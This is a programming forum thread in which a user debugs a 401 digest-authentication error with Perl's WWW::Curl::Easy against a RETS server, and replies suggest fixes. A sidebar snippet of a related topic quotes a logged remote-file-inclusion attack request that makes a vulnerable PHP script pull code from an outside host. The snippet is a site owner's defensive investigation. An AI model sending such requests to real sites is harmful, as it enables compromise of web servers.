473,788 Members | 3,057 Online
Bytes | Software Development & Data Engineering Community
+ Post

Home Posts Topics Members FAQ

Perl Curl

46 New Member
I am re-writing my rets application in perl, and I have found a few modules that will help me on my way. One of them being WWW::Curl:easy.

During my testing, I have tested both system curl and perl curl. At this point I can get the system curl to correctly connect to my server. However, I am having the hardest time trying to figure out why I cant get perl curl to connect to the server.

Every time I try to connect, I get a 401 error. I am using the same connection method that I would use if I was using system curl.

Here is my current code. Any help with this is greatly appreciated.

Perl Code w/ WWW::Curl:easy -
Expand|Select|Wrap|Line Numbers
  1.         $curl->setopt(CURLOPT_URL, $site);
  2.         $curl->setopt(CURLOPT_USERPWD,'$user:$pass');
  3.         $curl->setopt(CURLOPT_HTTPAUTH,CURLAUTH_DIGEST);
  4.  
  5.         $curl->perform;
  6.         my $err = $curl->errbuff;
  7.         my $info = $curl->getingo(CURLINFO_HTTP_CODE);
  8.  

Perl code w/ system curl
Expand|Select|Wrap|Line Numbers
  1. system("curl -u $user:$pass --digest $site");
  2.  
Feb 8 '08 #1
3 10106
KevinADC
4,059 Recognized Expert Specialist
use double-quotes when you have to join scalars to make strings

Expand|Select|Wrap|Line Numbers
  1. $curl->setopt(CURLOPT_USERPWD,"$user:$pass");
Hopefully that is all it will take to get it working.
Feb 8 '08 #2
rottmanj
46 New Member
Still gives me the same 401 error.

These are the returned headers I get.

Expand|Select|Wrap|Line Numbers
  1. HTTP/1.1 401 Unauthorized
  2. Content-Length: 1944
  3. Content-Type: text/html
  4. Server: Microsoft-IIS/6.0
  5. X-Powered-By: ASP.NET
  6. WWW-Authenticate: Digest qop="auth",realm="rets@marketlinx.com",nonce="7cae785562b23a466376b89adb9aa120",opaque="08022224248204"
  7. Date: Fri, 08 Feb 2008 22:24:24 GMT
  8. Connection: close
  9.  
Feb 8 '08 #3
eWish
971 Recognized Expert Contributor
The documentation is to vague to tell if you are doing things correclty. It appears that provided you have the proper username and password it should work. I have not used this module so I can't say for sure.

Edit:
It looks like they have an active mailing list you might seek help there if someone here can't help you.


--Kevin
Feb 9 '08 #4

Sign in to post your reply or Sign up for a free account.

Similar topics

8
3338
by: mrbog | last post by:
1. In order to make an http (or https) request with PHP, I need to recompile php with cURL. 2. In order to install CURL I have to upgrade my openssl rpm, even though I'm runing a version of linux that's only like 3 months old (fedora c2 stable), because curl needs libcrypto.so.4. 3. In order to install libcrypto.so.4 I have to upgrade my openssl (took me forever to figure that out).
3
6332
by: Chris Fortune | last post by:
# uname -a Linux stargate.mxc-online.net 2.4.20-021stab022.2.777-smp #1 SMP Wed Jul 28 17:12:37 MSD 2004 i686 i686 i386 GNU/Linux I recompiled PHP with mcrypt, openssl, and curl phpinfo(): http://www.canadiandropshipping.com/hello.php3 Does anyone know why this ssl curl test fails? http://www.canadiandropshipping.com...t/diag_curl.php
9
12598
by: Conrad F | last post by:
Hi, If any Microsoft people are listening.... Are there any plans for the new web language called "Curl" to be supported in .NET (ASP.NET)? I ask as Curl represents the first step to true OO programming of web pages and not just running "scripts" which have in-roads into service DLLs of other languages such as C#. Surely MS will put Curl into .NET at some time since it is designed to work with DirectX and OpenGL?
4
10629
by: Ignoramus6539 | last post by:
There were some strange requests to my server asking for config.php file (which I do not have in the requested location). I did some investigation. Seems to be a virus written in perl, exploiting a vulnerability in php code. The requests are like this 216.120.231.252 - - "GET /algebra/about/history/config.php?returnpath=http://domates.1gig.biz/spread.txt? HTTP/1.1" 404 561 "-" "libwww-perl/5.805"
4
3710
by: billb | last post by:
I installed a perl extension for PHP to use some perl inside my php primarily because I have perl working with oracle and not php and oracle. So I want to use my old perl scripts, and use the functionality of php. The extension uses the '$perl->eval' function. i am kind of stuck with the syntax or how to put the php variable into the perl script. I have a form where the user puts in a grid reference. Then a php script that gets the...
7
55147
numberwhun
by: numberwhun | last post by:
**NOTE: This article is written using the 5.8.8 Alpha2 release of Strawberry Perl. I am writing this article with much joy and glee. This is due to the fact that Active State no longer has a monopoly on the issue of Perl on the Windows platform As anyone who code's Perl on the Windows platform knows, the choice that you have (had) for Perl on Windows was Active State. It worked great for your scripting but when it came to installing...
4
12081
by: rottmanj | last post by:
I am working on a revamp of a previous application that I have written in coldfusion. The application deals with RETS data. The issue that I am having is with using the curl option HTTP_AUTH and CURLAUTH_DIGEST. When attempting to authenticate against the server. No matter what I try, my authentication always fails. I have made sure to validate the auth information. In my testings, I have also verified that curl can authenticate via the...
1
1804
by: George Orwell | last post by:
Would I be missing much if I stopped trying to learn Perl well enough to use for spidering, screen scraping etc. and converted over to PHP ? I am looking to do all, or at least most of the hacks decribed in the books "Spidering Hacks" and "Perl & LWP". I am familiar with the book "Webbots, Spiders, and Screen Scrapers: A Guide to Developing Internet Agents with PHP/CURL" Would anyone know of any other sources of info related to this kind...
3
1658
by: webb315 | last post by:
I m new to perl only know basics. but can any one help me with this CURL? I have this php curl.. want to change it to perl.. PHP Code: function curl($a,$b,$c,$d,$e){ $ch = curl_init(); curl_setopt_array($ch, array(
0
9498
by: Hystou | last post by:
Most computers default to English, but sometimes we require a different language, especially when relocating. Forgot to request a specific language before your computer shipped? No problem! You can effortlessly switch the default language on Windows 10 without reinstalling. I'll walk you through it. First, let's disable language synchronization. With a Microsoft account, language settings sync across devices. To prevent any complications,...
0
10363
Oralloy
by: Oralloy | last post by:
Hello folks, I am unable to find appropriate documentation on the type promotion of bit-fields when using the generalised comparison operator "<=>". The problem is that using the GNU compilers, it seems that the internal comparison operator "<=>" tries to promote arguments from unsigned to signed. This is as boiled down as I can make it. Here is my compilation command: g++-12 -std=c++20 -Wnarrowing bit_field.cpp Here is the code in...
0
9964
tracyyun
by: tracyyun | last post by:
Dear forum friends, With the development of smart home technology, a variety of wireless communication protocols have appeared on the market, such as Zigbee, Z-Wave, Wi-Fi, Bluetooth, etc. Each protocol has its own unique characteristics and advantages, but as a user who is planning to build a smart home system, I am a bit confused by the choice of these technologies. I'm particularly interested in Zigbee because I've heard it does some...
0
8993
agi2029
by: agi2029 | last post by:
Let's talk about the concept of autonomous AI software engineers and no-code agents. These AIs are designed to manage the entire lifecycle of a software development project—planning, coding, testing, and deployment—without human intervention. Imagine an AI that can take a project description, break it down, write the code, debug it, and then launch it, all on its own.... Now, this would greatly impact the work of software developers. The idea...
0
6749
by: conductexam | last post by:
I have .net C# application in which I am extracting data from word file and save it in database particularly. To store word all data as it is I am converting the whole word file firstly in HTML and then checking html paragraph one by one. At the time of converting from word file to html my equations which are in the word document file was convert into image. Globals.ThisAddIn.Application.ActiveDocument.Select();...
0
5535
by: adsilva | last post by:
A Windows Forms form does not have the event Unload, like VB6. What one acts like?
1
4069
by: 6302768590 | last post by:
Hai team i want code for transfer the data from one system to another through IP address by using C# our system has to for every 5mins then we have to update the data what the data is updated we have to send another system
2
3670
muto222
by: muto222 | last post by:
How can i add a mobile payment intergratation into php mysql website.
3
2894
bsmnconsultancy
by: bsmnconsultancy | last post by:
In today's digital era, a well-designed website is crucial for businesses looking to succeed. Whether you're a small business owner or a large corporation in Toronto, having a strong online presence can significantly impact your brand's success. BSMN Consultancy, a leader in Website Development in Toronto offers valuable insights into creating effective websites that not only look great but also perform exceptionally well. In this comprehensive...

By using Bytes.com and it's services, you agree to our Privacy Policy and Terms of Use.

To disable or enable advertisements and analytics tracking please visit the manage ads & tracking page.